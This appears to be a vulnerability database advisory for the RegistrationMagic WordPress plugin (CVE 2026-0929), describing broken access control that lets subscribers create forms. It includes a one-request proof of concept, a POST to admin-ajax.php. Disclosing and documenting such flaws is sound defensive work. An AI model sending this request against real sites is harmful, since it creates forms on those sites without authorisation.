RegistrationMagic < 6.0.7.2 – Subscriber+ Form Creation | CVE 2026-0929 | Plugin Vulnerabilities

Description

The plugin does not have proper capability checks, allowing subscribers and above to create forms on the site.

Proof of Concept

Send a request as a subscriber to:

```
POST /wp-admin/admin-ajax.php HTTP/2

action=rm_sort_form_fields&rm_slug=rm_form_quick_add&form_name=WPSCAN&form_type=111111111&user_auto_approval=yes&data=dummy
```

This will create a registration form in the plugin "All Forms" section of the plugin.

Affects Plugins

custom-registration-form-builder-with-submission-manager

Fixed in 6.0.7.2

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

bRpsd

Submitter

bRpsd

Submitter website

https://www.exploit-db.com/?author=8147

Verified

Yes

WPVDB ID

c0f17d83-6199-4676-90ec-4fba1e7fcf0f

Timeline

Publicly Published

2026-01-26 (about 21 days ago)

Added

2026-01-26 (about 20 days ago)

Last Updated

2026-01-26 (about 20 days ago)

Other

Published

Title

Published

2025-03-31

Title

Swiss Toolkit For WP < 1.4.1 - Missing Authorization

Published

2025-12-17

Title

Download Manager < 3.3.33 - Missing Authorization to Authenticated (Subscriber+) Media Attachment Password Disclosure

Published

2024-08-09

Title

Visual Website Collaboration, Feedback & Project Management – Atarim < 4.0.3 - Missing Authorization to Authenticated (Subscriber+) Settings Update

Published

2022-07-26

Title

Transposh WordPress Translation <= 1.0.8 - Subscriber+ Unauthorised Calls

Published

2026-01-26

Title

Tablesome <= 1.2.2 - Missing Authorization